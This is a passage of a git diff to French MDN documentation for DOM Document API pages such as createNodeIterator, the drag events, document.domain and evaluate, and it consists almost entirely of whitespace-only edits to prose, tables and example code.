propriété unique nommée `is`, dont la valeur est le nom de la balise pour un élément personnalisé défini précédemment à l'aide de `customElements.define()` . Pour la rétro-compatibilité avec les versions précédentes de la [spécification des éléments personnalisés](https://www.w3.org/TR/custom-elements/), quelques navigateurs vous permettront de passer ici une chaîne de caractères à la place d'un objet, pour laquelle la valeur est un nom d'élément personnalisé. Voir [Extending native HTML elements](https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml) pour plus d'informations sur la façon d'utiliser ce paramètre. Le nouvel élément recevra un attribut `is` dont la valeur est le nom de la balise de l'élément personnalisé. Les éléments personnalisés sont une fonctionnalité expérimentale disponible uniquement dans certains navigateurs. ### Valeur de retour @@ -84,7 +84,7 @@ Cet exemple crée un nouvel élément \<div> dans l'espace de noms [XHTML](/fr/d | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}} | {{Spec2('DOM WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/document/createnodeiterator/index.md b/files/fr/web/api/document/createnodeiterator/index.md index c89db358cf..945a292136 100644 --- a/files/fr/web/api/document/createnodeiterator/index.md +++ b/files/fr/web/api/document/createnodeiterator/index.md @@ -9,7 +9,7 @@ translation_of: Web/API/Document/createNodeIterator --- {{APIRef("DOM")}} -Renvoie un nouvel objet [`NodeIterator`](/fr/docs/Web/API/NodeIterator). +Renvoie un nouvel objet [`NodeIterator`](/fr/docs/Web/API/NodeIterator). ## Syntaxe @@ -147,9 +147,9 @@ var nodeIterator = document.createNodeIterator(root, whatToShow, filter); ```js var nodeIterator = document.createNodeIterator( - document.body, - NodeFilter.SHOW_ELEMENT, - function(node) { + document.body, + NodeFilter.SHOW_ELEMENT, + function(node) { return node.nodeName.toLowerCase() === 'p' ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_REJECT; } ); @@ -157,7 +157,7 @@ var pars = []; var currentNode; while (currentNode = nodeIterator.nextNode()) { - pars.push(currentNode); + pars.push(currentNode); } ``` diff --git a/files/fr/web/api/document/creatensresolver/index.md b/files/fr/web/api/document/creatensresolver/index.md index b4284bf5c7..d8eae2515e 100644 --- a/files/fr/web/api/document/creatensresolver/index.md +++ b/files/fr/web/api/document/creatensresolver/index.md @@ -26,7 +26,7 @@ Crée un `XPathNSResolver` qui résout les espaces de noms en respectant les dé ## Notes -Adapte n'importe quel noeud DOM pour résoudre les espaces de noms afin qu'une expression [XPath](/fr/docs/XPath) puisse être facilement évaluée par rapport au contexte du nœud et son emplacement dans le document. Cet adaptateur fonctionne comme la méthode `lookupNamespaceURI` du DOM de niveau 3 sur les noeuds lors de la résolution de `namespaceURI` à partir d'un préfixe donné en utilisant l'information disponible dans la hiérarchie des noeuds au moment de l'appel de `lookupNamespaceURI`. Résout aussi correctement le préfixe implicite `xml`. +Adapte n'importe quel noeud DOM pour résoudre les espaces de noms afin qu'une expression [XPath](/fr/docs/XPath) puisse être facilement évaluée par rapport au contexte du nœud et son emplacement dans le document. Cet adaptateur fonctionne comme la méthode `lookupNamespaceURI` du DOM de niveau 3 sur les noeuds lors de la résolution de `namespaceURI` à partir d'un préfixe donné en utilisant l'information disponible dans la hiérarchie des noeuds au moment de l'appel de `lookupNamespaceURI`. Résout aussi correctement le préfixe implicite `xml`. Notez que XPath définit QNames sans préfixe pour correspondre uniquement aux éléments d'un espace de noms null. XPath n'a aucun moyen de récupérer l'espace de noms par défaut tel qu'il est appliqué à une référence d'élément régulier (par exemple, `p[@id='_myid'`] pour `xmlns='http://www.w3.org/1999/xhtml'`). Pour faire correspondre les éléments par défaut dans un espace de noms non nul, vous devez soit faire référence à un élément particulier en utilisant un format tel que `*namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid']` ([cette approche](/fr/docs/Web/JavaScript/Introduction_%C3%A0_l_utilisation_de_XPath_avec_JavaScript#Using_XPath_functions_to_reference_elements_with_its_default_namespace) fonctionne bien pour les expressions XPath dynamiques dans lesquelles les espaces de noms pourraient ne pas être connus), soit utiliser des tests de noms préfixés et créer un résolveur d'espace de nom mappant le préfixe à l'espace de nom. Pour en savoir plus sur [comment créer un résolveur d'espace de nom défini par l'utilisateur](/fr/docs/Web/JavaScript/Introduction_%C3%A0_l_utilisation_de_XPath_avec_JavaScript#Impl%C3%A9mentation_d%27un_r%C3%A9solveur) si vous souhaitez adopter cette dernière approche. diff --git a/files/fr/web/api/document/createprocessinginstruction/index.md b/files/fr/web/api/document/createprocessinginstruction/index.md index 48fd8b5010..1e0050e526 100644 --- a/files/fr/web/api/document/createprocessinginstruction/index.md +++ b/files/fr/web/api/document/createprocessinginstruction/index.md @@ -23,7 +23,7 @@ translation_of: Web/API/Document/createProcessingInstruction ### Paramètres - `Processing Instruction node` est un noeud {{domxref("ProcessingInstruction")}}. -- `target` fait référence à la partie cible du noeud d'instructions de traitement (par exemple, \<?_target_ ... ?>). +- `target` fait référence à la partie cible du noeud d'instructions de traitement (par exemple, \<?_target_ ... ?>). - `data` est une string (_chaîne de caractères_) contenant les données à ajouter aux données du noeud. ### Exceptions diff --git a/files/fr/web/api/document/createrange/index.md b/files/fr/web/api/document/createrange/index.md index c40f105f7f..6efa380e69 100644 --- a/files/fr/web/api/document/createrange/index.md +++ b/files/fr/web/api/document/createrange/index.md @@ -16,7 +16,7 @@ Retourne un objet {{domxref("Range")}}. range = document.createRange(); -`range` devient un objet {{domxref("Range")}}. +`range` devient un objet {{domxref("Range")}}. ## Exemple @@ -29,7 +29,7 @@ range.setEnd(endNode, endOffset); ## Notes -Une fois un objet `Range` créé, il est nécessaire de spécifier les limites de départ et de fin avant de pouvoir utiliser la plupart des méthodes. +Une fois un objet `Range` créé, il est nécessaire de spécifier les limites de départ et de fin avant de pouvoir utiliser la plupart des méthodes. ## Spécification diff --git a/files/fr/web/api/document/createtreewalker/index.md b/files/fr/web/api/document/createtreewalker/index.md index 030d29723b..230aebed60 100644 --- a/files/fr/web/api/document/createtreewalker/index.md +++ b/files/fr/web/api/document/createtreewalker/index.md @@ -166,7 +166,7 @@ while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | --------------------------------------------------------------------------------------------------------- | -| {{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}} | {{Spec2('DOM WHATWG')}} | Suppression du paramètre `expandEntityReferences`. Les paramètres facultatifs `whatToShow` et `filter` . | +| {{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}} | {{Spec2('DOM WHATWG')}} | Suppression du paramètre `expandEntityReferences`. Les paramètres facultatifs `whatToShow` et `filter` . | | {{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}} | {{Spec2('DOM2 Traversal_Range')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/document/documentelement/index.md b/files/fr/web/api/document/documentelement/index.md index cd9cfbe64a..9c4536274d 100644 --- a/files/fr/web/api/document/documentelement/index.md +++ b/files/fr/web/api/document/documentelement/index.md @@ -36,9 +36,9 @@ Pour tout document HTML non vide, `document.documentElement` sera toujours un é | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('DOM2 Core','core.html#ID-87CD092','Document.documentElement')}} | {{Spec2('DOM2 Core')}} | | -| {{SpecName('DOM3 Core','core.html#ID-87CD092','Document.documentElement')}} | {{Spec2('DOM3 Core')}} | | -| {{SpecName('DOM4','#dom-document-documentelement','Document.documentElement')}} | {{Spec2('DOM4')}} | | +| {{SpecName('DOM2 Core','core.html#ID-87CD092','Document.documentElement')}} | {{Spec2('DOM2 Core')}} | | +| {{SpecName('DOM3 Core','core.html#ID-87CD092','Document.documentElement')}} | {{Spec2('DOM3 Core')}} | | +| {{SpecName('DOM4','#dom-document-documentelement','Document.documentElement')}} | {{Spec2('DOM4')}} | | | {{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}} | {{Spec2('DOM WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/document/documenturi/index.md b/files/fr/web/api/document/documenturi/index.md index b3ee14255f..3021cc10dc 100644 --- a/files/fr/web/api/document/documenturi/index.md +++ b/files/fr/web/api/document/documenturi/index.md @@ -27,7 +27,7 @@ Les documents HTML ont une propriété {{domxref("document.URL")}} qui renvoie l | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}} | {{Spec2('DOM WHATWG')}} | | | {{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}} | {{Spec2('DOM3 Core')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/document/documenturiobject/index.md b/files/fr/web/api/document/documenturiobject/index.md index 88c81d247b..e66799067d 100644 --- a/files/fr/web/api/document/documenturiobject/index.md +++ b/files/fr/web/api/document/documenturiobject/index.md @@ -24,7 +24,7 @@ var uri = doc.documentURIObject; ## Exemple - // Vérifie que le schéma d'URI pour l'onglet courant dans Firefox est « http », + // Vérifie que le schéma d'URI pour l'onglet courant dans Firefox est « http », // en supposant que ce code s'exécute dans le contexte de browser.xul var uriObj = content.document.documentURIObject; diff --git a/files/fr/web/api/document/domain/index.md b/files/fr/web/api/document/domain/index.md index 0f050e51e7..f4542e2c55 100644 --- a/files/fr/web/api/document/domain/index.md +++ b/files/fr/web/api/document/domain/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/Document/domain --- {{ApiRef}} -Retourne/définit la partie domaine de l'origine du document courant, telle qu'utilisée par la [politique d'origine identique](/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript). +Retourne/définit la partie domaine de l'origine du document courant, telle qu'utilisée par la [politique d'origine identique](/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript). ## Syntaxe @@ -39,19 +39,19 @@ var domaine = document.domain; ## Notes -Cette propriété retourne `null` si le domaine du document ne peut pas être identifié. +Cette propriété retourne `null` si le domaine du document ne peut pas être identifié. -Mozilla vous laissera la définir à un superdomaine de la valeur courante, contraint par son [domaine de base](/en-US/docs/XPCOM_Interface_Reference/nsIEffectiveTLDService#getBaseDomain.28.29). Par exemple, sur developer.mozilla.org, il est possible de la définir à "mozilla.org" mais pas à "mozilla.com" ou "org". +Mozilla vous laissera la définir à un superdomaine de la valeur courante, contraint par son [domaine de base](/en-US/docs/XPCOM_Interface_Reference/nsIEffectiveTLDService#getBaseDomain.28.29). Par exemple, sur developer.mozilla.org, il est possible de la définir à "mozilla.org" mais pas à "mozilla.com" ou "org". -Si cette propriété est définie avec succès, la partie "port" de l'origine est également définie à null. +Si cette propriété est définie avec succès, la partie "port" de l'origine est également définie à null. -Mozilla fait la distinction entre la propriété d'un `document.domain` qui n'a jamais été modifiée d'une explicitement définie avec le même domaine que l'URL du document, même si la propriété renvoie la même valeur dans les deux cas. Un document est autorisé à accéder à un autre si il ont tous deux défini `document.domain` à la même valeur, indiquant leur intention de coopérer, ou si aucun des deux n'a défini `document.domain` et que les domaines dans les URLs sont les mêmes ([implementation](https://mxr.mozilla.org/mozilla-central/source/caps/nsPrincipal.cpp?rev=ecb7068b07a1&mark=199-215#199)). Sans cette politique spéciale, chaque site serait sujet au Cross-Site-Scripting (XSS) depuis ses sous-domaines (par exemple, <https://bugzilla.mozilla.org> pourrait être attaqué par des pièces jointes de bugs sur <https://bug*.bugzilla.mozilla.org>). +Mozilla fait la distinction entre la propriété d'un `document.domain` qui n'a jamais été modifiée d'une explicitement définie avec le même domaine que l'URL du document, même si la propriété renvoie la même valeur dans les deux cas. Un document est autorisé à accéder à un autre si il ont tous deux défini `document.domain` à la même valeur, indiquant leur intention de coopérer, ou si aucun des deux n'a défini `document.domain` et que les domaines dans les URLs sont les mêmes ([implementation](https://mxr.mozilla.org/mozilla-central/source/caps/nsPrincipal.cpp?rev=ecb7068b07a1&mark=199-215#199)). Sans cette politique spéciale, chaque site serait sujet au Cross-Site-Scripting (XSS) depuis ses sous-domaines (par exemple, <https://bugzilla.mozilla.org> pourrait être attaqué par des pièces jointes de bugs sur <https://bug*.bugzilla.mozilla.org>). ## Spécification -- [DOM Level 2 HTML: document.domain](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-2250147) (le décrit comme étant en lecture-seule) -- [HTML5: document.domain](https://html.spec.whatwg.org/multipage/browsers.html#relaxing-the-same-origin-restriction) (décrit un comportement similaire à celui de Mozilla) +- [DOM Level 2 HTML: document.domain](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-2250147) (le décrit comme étant en lecture-seule) +- [HTML5: document.domain](https://html.spec.whatwg.org/multipage/browsers.html#relaxing-the-same-origin-restriction) (décrit un comportement similaire à celui de Mozilla) ## Voir aussi -- [Politique de même origine pour JavaScriptHTML](/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript) +- [Politique de même origine pour JavaScriptHTML](/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript) diff --git a/files/fr/web/api/document/domcontentloaded_event/index.md b/files/fr/web/api/document/domcontentloaded_event/index.md index 787f2a1d16..34fea14e97 100644 --- a/files/fr/web/api/document/domcontentloaded_event/index.md +++ b/files/fr/web/api/document/domcontentloaded_event/index.md @@ -90,7 +90,7 @@ if (document.readyState === 'loading') { // Loading hasn't finished yet ```css hidden body { display: grid; - grid-template-areas: "control log"; + grid-template-areas: "control log"; } .controls { diff --git a/files/fr/web/api/document/drag_event/index.md b/files/fr/web/api/document/drag_event/index.md index f285e0a7b1..3a1ed6992a 100644 --- a/files/fr/web/api/document/drag_event/index.md +++ b/files/fr/web/api/document/drag_event/index.md @@ -134,7 +134,7 @@ L'événement drag est déclenché lorsqu'un élément ou une section de texte e | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------- | -| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("HTML5.1", "editing.html#dndevents", "drag event")}} | {{Spec2("HTML5.1")}} | Définition initiale | ## Compatibilités navigateur diff --git a/files/fr/web/api/document/dragend_event/index.md b/files/fr/web/api/document/dragend_event/index.md index 9c76951378..8ac8132e1e 100644 --- a/files/fr/web/api/document/dragend_event/index.md +++ b/files/fr/web/api/document/dragend_event/index.md @@ -132,7 +132,7 @@ L'événement **dragend** est déclenché lorsque une opération de glissement e | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("HTML5.1", "editing.html#dndevents", "dragend")}} | {{Spec2("HTML5.1")}} | Définition initiale | ## Compatibilités navigateurs diff --git a/files/fr/web/api/document/dragenter_event/index.md b/files/fr/web/api/document/dragenter_event/index.md index 4aff1b3c8d..c1bde307af 100644 --- a/files/fr/web/api/document/dragenter_event/index.md +++ b/files/fr/web/api/document/dragenter_event/index.md @@ -134,7 +134,7 @@ L'événement **dragenter** est déclenché lorsqu'un élément glissé ou une s | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragenter")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragenter")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("HTML5.1", "editing.html#dndevents", "dragenter")}} | {{Spec2("HTML5.1")}} | Définition initiale | ## Compatiblités navigateurs diff --git a/files/fr/web/api/document/dragleave_event/index.md b/files/fr/web/api/document/dragleave_event/index.md index 6c5b8849bd..3cd24e1463 100644 --- a/files/fr/web/api/document/dragleave_event/index.md +++ b/files/fr/web/api/document/dragleave_event/index.md @@ -132,7 +132,7 @@ L'événement **dragleave** est déclenché lorsqu'un élément glissé ou une s | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragleave")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragleave")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("HTML5.1", "editing.html#dndevents", "dragleave")}} | {{Spec2("HTML5.1")}} | Définition initiale | ## Compatibilités navigateur diff --git a/files/fr/web/api/document/dragover_event/index.md b/files/fr/web/api/document/dragover_event/index.md index c189df61a0..9c1a7b27e4 100644 --- a/files/fr/web/api/document/dragover_event/index.md +++ b/files/fr/web/api/document/dragover_event/index.md @@ -134,7 +134,7 @@ L'événement **dragover** est déclenché lorsqu'un élément ou une sélection | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragover")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragover")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("HTML5.1", "editing.html#dndevents", "dragover")}} | {{Spec2("HTML5.1")}} | Définition initiale | ## Compatibilités navigateur diff --git a/files/fr/web/api/document/dragstart_event/index.md b/files/fr/web/api/document/dragstart_event/index.md index 152aeaeb86..afaa26a6a2 100644 --- a/files/fr/web/api/document/dragstart_event/index.md +++ b/files/fr/web/api/document/dragstart_event/index.md @@ -51,7 +51,7 @@ L'événement **dragstart** est déclenché lorsque l'utilisateur glisse un él <div class="dropzone"> <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"> This div is draggable - </div> + </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> @@ -61,77 +61,77 @@ L'événement **dragstart** est déclenché lorsque l'utilisateur glisse un él ### CSS Content ```css - #draggable { - width: 200px; - height: 20px; - text-align: center; - background: white; - } - - .dropzone { - width: 200px; - height: 20px; - background: blueviolet; - margin-bottom: 10px; - padding: 10px; - } + #draggable { + width: 200px; + height: 20px; + text-align: center; + background: white; + } + + .dropzone { + width: 200px; + height: 20px; + background: blueviolet; + margin-bottom: 10px; + padding: 10px; + } ``` ### JavaScript Content ```js - var dragged; - - /* Les événements sont déclenchés sur les objets glissables */ - document.addEventListener("drag", function( event ) { - - }, false); - - document.addEventListener("dragstart", function( event ) { - // Stocke une référence sur l'objet glissable - dragged = event.target; - // transparence 50% - event.target.style.opacity = .5; - }, false); - - document.addEventListener("dragend", function( event ) { - // reset de la transparence - event.target.style.opacity = ""; - }, false); - - /* Les événements sont déclenchés sur les cibles du drop */ - document.addEventListener("dragover", function( event ) { - // Empêche default d'autoriser le drop - event.preventDefault(); - }, false); - - document.addEventListener("dragenter", function( event ) { - // Met en surbrillance la cible de drop potentielle lorsque l'élément glissable y entre - if ( event.target.className == "dropzone" ) { - event.target.style.background = "purple"; - } - - }, false); - - document.addEventListener("dragleave", function( event ) { - // reset de l'arrière-plan des potentielles cible du drop lorsque les éléments glissables les quittent - if ( event.target.className == "dropzone" ) { - event.target.style.background = ""; - } - - }, false); - - document.addEventListener("drop", function( event ) { - // Empêche l'action par défaut (ouvrir comme lien pour certains éléments) - event.preventDefault(); - // Déplace l'élément traîné vers la cible du drop sélectionnée - if ( event.target.className == "dropzone" ) { - event.target.style.background = ""; - dragged.parentNode.removeChild( dragged ); - event.target.appendChild( dragged ); - } - - }, false); + var dragged; + + /* Les événements sont déclenchés sur les objets glissables */ + document.addEventListener("drag", function( event ) { + + }, false); + + document.addEventListener("dragstart", function( event ) { + // Stocke une référence sur l'objet glissable + dragged = event.target; + // transparence 50% + event.target.style.opacity = .5; + }, false); + + document.addEventListener("dragend", function( event ) { + // reset de la transparence + event.target.style.opacity = ""; + }, false); + + /* Les événements sont déclenchés sur les cibles du drop */ + document.addEventListener("dragover", function( event ) { + // Empêche default d'autoriser le drop + event.preventDefault(); + }, false); + + document.addEventListener("dragenter", function( event ) { + // Met en surbrillance la cible de drop potentielle lorsque l'élément glissable y entre + if ( event.target.className == "dropzone" ) { + event.target.style.background = "purple"; + } + + }, false); + + document.addEventListener("dragleave", function( event ) { + // reset de l'arrière-plan des potentielles cible du drop lorsque les éléments glissables les quittent + if ( event.target.className == "dropzone" ) { + event.target.style.background = ""; + } + + }, false); + + document.addEventListener("drop", function( event ) { + // Empêche l'action par défaut (ouvrir comme lien pour certains éléments) + event.preventDefault(); + // Déplace l'élément traîné vers la cible du drop sélectionnée + if ( event.target.className == "dropzone" ) { + event.target.style.background = ""; + dragged.parentNode.removeChild( dragged ); + event.target.appendChild( dragged ); + } + + }, false); ``` {{ EmbedLiveSample('Exemple_dropzone') }} @@ -140,7 +140,7 @@ L'événement **dragstart** est déclenché lorsque l'utilisateur glisse un él | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("HTML5.1", "editing.html#dndevents", "dragstart")}} | {{Spec2("HTML5.1")}} | Définition initiale | ## Compatibilités navigateur diff --git a/files/fr/web/api/document/drop_event/index.md b/files/fr/web/api/document/drop_event/index.md index 539c0d9ce2..ebeb951ef1 100644 --- a/files/fr/web/api/document/drop_event/index.md +++ b/files/fr/web/api/document/drop_event/index.md @@ -134,7 +134,7 @@ L'événement **drop** est déclenché lorsqu'un élément ou une sélection de | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------- | -| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "drop event")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "interaction.html#dndevents", "drop event")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("HTML5.1", "editing.html#dndevents", "drop event")}} | {{Spec2("HTML5.1")}} | Première définition | ## Compatibilités navigateur diff --git a/files/fr/web/api/document/elementfrompoint/index.md b/files/fr/web/api/document/elementfrompoint/index.md index cbd5891099..fcee637525 100644 --- a/files/fr/web/api/document/elementfrompoint/index.md +++ b/files/fr/web/api/document/elementfrompoint/index.md @@ -57,4 +57,4 @@ Si le point spécifié est en dehors de la portion visible du document ou que l' ### Spécification -- Spécification préliminaire : [`elementFromPoint`](http://dev.w3.org/csswg/cssom/#documentlayout-elementfrompoint) +- Spécification préliminaire : [`elementFromPoint`](http://dev.w3.org/csswg/cssom/#documentlayout-elementfrompoint) diff --git a/files/fr/web/api/document/elementsfrompoint/index.md b/files/fr/web/api/document/elementsfrompoint/index.md index 275ad2f1e8..637b6f42b3 100644 --- a/files/fr/web/api/document/elementsfrompoint/index.md +++ b/files/fr/web/api/document/elementsfrompoint/index.md @@ -16,7 +16,7 @@ original_slug: Web/API/DocumentOrShadowRoot/elementsFromPoint --- {{APIRef("DOM")}}{{SeeCompatTable}} -La propriété **`elementsFromPoint()`** de l'interface {{domxref("DocumentOrShadowRoot")}} renvoie un tableau (_array_) de tous les éléments présents sous le point fourni en paramètre (relatif au _viewport_). +La propriété **`elementsFromPoint()`** de l'interface {{domxref("DocumentOrShadowRoot")}} renvoie un tableau (_array_) de tous les éléments présents sous le point fourni en paramètre (relatif au _viewport_). ## Syntaxe @@ -82,4 +82,4 @@ if (document.elementsFromPoint) { ## Voir aussi - {{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}} -- {{DOMxRef("DocumentOrShadowRoot.msElementsFromRect()")}} {{Non-standard_Inline}} +- {{DOMxRef("DocumentOrShadowRoot.msElementsFromRect()")}} {{Non-standard_Inline}} diff --git a/files/fr/web/api/document/enablestylesheetsforset/index.md b/files/fr/web/api/document/enablestylesheetsforset/index.md index ac899fc8c4..f5a8b65ad3 100644 --- a/files/fr/web/api/document/enablestylesheetsforset/index.md +++ b/files/fr/web/api/document/enablestylesheetsforset/index.md @@ -26,7 +26,7 @@ Active les feuilles de styles correspondant au nom spécifié dans l'ensemble de ## Notes - Les correspondances de titre sont sensibles à la casse. -- L'appel de cette méthode avec un `name` `null` n'a pas d'effet ; si vous voulez désactiver toutes les feuilles de styles alternatives et préférées, vous **devez** utiliser "", la chaîne vide. +- L'appel de cette méthode avec un `name` `null` n'a pas d'effet ; si vous voulez désactiver toutes les feuilles de styles alternatives et préférées, vous **devez** utiliser "", la chaîne vide. - Les feuilles de styles qui n'ont pas de titre ne sont jamais affectées par cette méthode. - Cette méthode n'affecte jamais les valeurs de {{ domxref("document.lastStyleSheetSet") }} ou {{ domxref("document.preferredStyleSheetSet") }}. @@ -36,7 +36,7 @@ Active les feuilles de styles correspondant au nom spécifié dans l'ensemble de ## Spécifications -- [HTML5 : Alternate Style Sheets](http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets) +- [HTML5 : Alternate Style Sheets](http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets) ## Voir aussi diff --git a/files/fr/web/api/document/evaluate/index.md b/files/fr/web/api/document/evaluate/index.md index 44ea0ed1da..39de25eb09 100644 --- a/files/fr/web/api/document/evaluate/index.md +++ b/files/fr/web/api/document/evaluate/index.md @@ -26,17 +26,17 @@ La méthode **`evaluate()`** renvoie un {{domxref("XPathResult")}} basé sur une - `xpathExpression` est une chaîne de caractères représentant le XPath à évaluer. - `contextNode` spécifie le noeud de contexte pour la requête (voir [XPath specification](http://www.w3.org/TR/xpath)) . Il est courant de transmettre un document en tant que nœud de contexte. - `namespaceResolver` est une fonction qui recevra tous les préfixes d'espace de noms et devrait renvoyer une chaîne représentant l'URI de l'espace de noms associé à ce préfixe. Il sera utilisé pour résoudre les préfixes dans le XPath lui-même, afin qu'ils puissent être mis en correspondance avec le document. `null` est commun pour les documents HTML ou lorsque aucun préfixe d'espace de noms n'est utilisé. -- `resultType` est un nombre entier qui correspond au type de résultat `XPathResult` à retourner. Utilisez des [propriétés de constantes nommées](#Types_de_resultats), comme `XPathResult.ANY_TYPE` du constructeur de XPathResult , lequel correspond à un nombre entier compris entre 0 et 9. -- `result` est un `XPathResult` existant à utiliser pour les résultats. `null` est le plus commun et va créer un nouveau XPathResult +- `resultType` est un nombre entier qui correspond au type de résultat `XPathResult` à retourner. Utilisez des [propriétés de constantes nommées](#Types_de_resultats), comme `XPathResult.ANY_TYPE` du constructeur de XPathResult , lequel correspond à un nombre entier compris entre 0 et 9. +- `result` est un `XPathResult` existant à utiliser pour les résultats. `null` est le plus commun et va créer un nouveau XPathResult ## Exemples ```js - var headings = document . evaluate ( " / html / body //h2", document, null, XPathResult.ANY_TYPE, null); + var headings = document . evaluate ( " / html / body //h2", document, null, XPathResult.ANY_TYPE, null); /* Cherche le document pour tout élément h2. * Le résultat sera probablement un itérateur de noeuds non ordonné. */ - var thisHeading = headings . iterateNext ( ) ; - var alertText = "Level 2 headings in this document are:\n" ; + var thisHeading = headings . iterateNext ( ) ; + var alertText = "Level 2 headings in this document are:\n" ; while ( thisHeading ) { alertText + = thisHeading . textContent + "\n" ; thisHeading = headings . iterateNext ( ) ; @@ -52,9 +52,9 @@ Une optimisation supplémentaire peut être obtenue en utilisant soigneusement l document . evaluate ( " . //h2", document.body, null, XPathResult.ANY_TYPE, null); ``` -Remarquez ci-dessus, `document.body` a été utilisé comme contexte plutôt que comme document, de sorte que le XPath commence à partir de l'élément body. (Dans cet exemple, le `"."` est important pour indiquer que l'interrogation doit commencer à partir du noeud contextuel, document.body . Si le "." est omis (en quittant `//h2`), la requête démarrera à partir du noeud racine ( `html`) ce qui serait plus inutile.) +Remarquez ci-dessus, `document.body` a été utilisé comme contexte plutôt que comme document, de sorte que le XPath commence à partir de l'élément body. (Dans cet exemple, le `"."` est important pour indiquer que l'interrogation doit commencer à partir du noeud contextuel, document.body . Si le "." est omis (en quittant `//h2`), la requête démarrera à partir du noeud racine ( `html`) ce qui serait plus inutile.) -Voir [Introduction à l'utilisation de XPath avec JavaScript](/fr/docs/Introduction_%C3%A0_l'utilisation_de_XPath_avec_JavaScript) pour plus d'informations. +Voir [Introduction à l'utilisation de XPath avec JavaScript](/fr/docs/Introduction_%C3%A0_l'utilisation_de_XPath_avec_JavaScript) pour plus d'informations. ## Notes diff --git a/files/fr/web/api/document/forms/index.md b/files/fr/web/api/document/forms/index.md index 9331ece590..d8f7419e5d 100644 --- a/files/fr/web/api/document/forms/index.md +++ b/files/fr/web/api/document/forms/index.md @@ -90,7 +90,7 @@ var selectFormElement = document.forms[index].elements[index]; | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ------------------------------------ | -------------------- | -| {{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}} | {{ Spec2('HTML WHATWG') }} | | +| {{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}} | {{ Spec2('HTML WHATWG') }} | | | {{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}} | {{ Spec2('DOM2 Events') }} | Définition initiale. | ## Voir aussi diff --git a/files/fr/web/api/document/getelementbyid/index.md 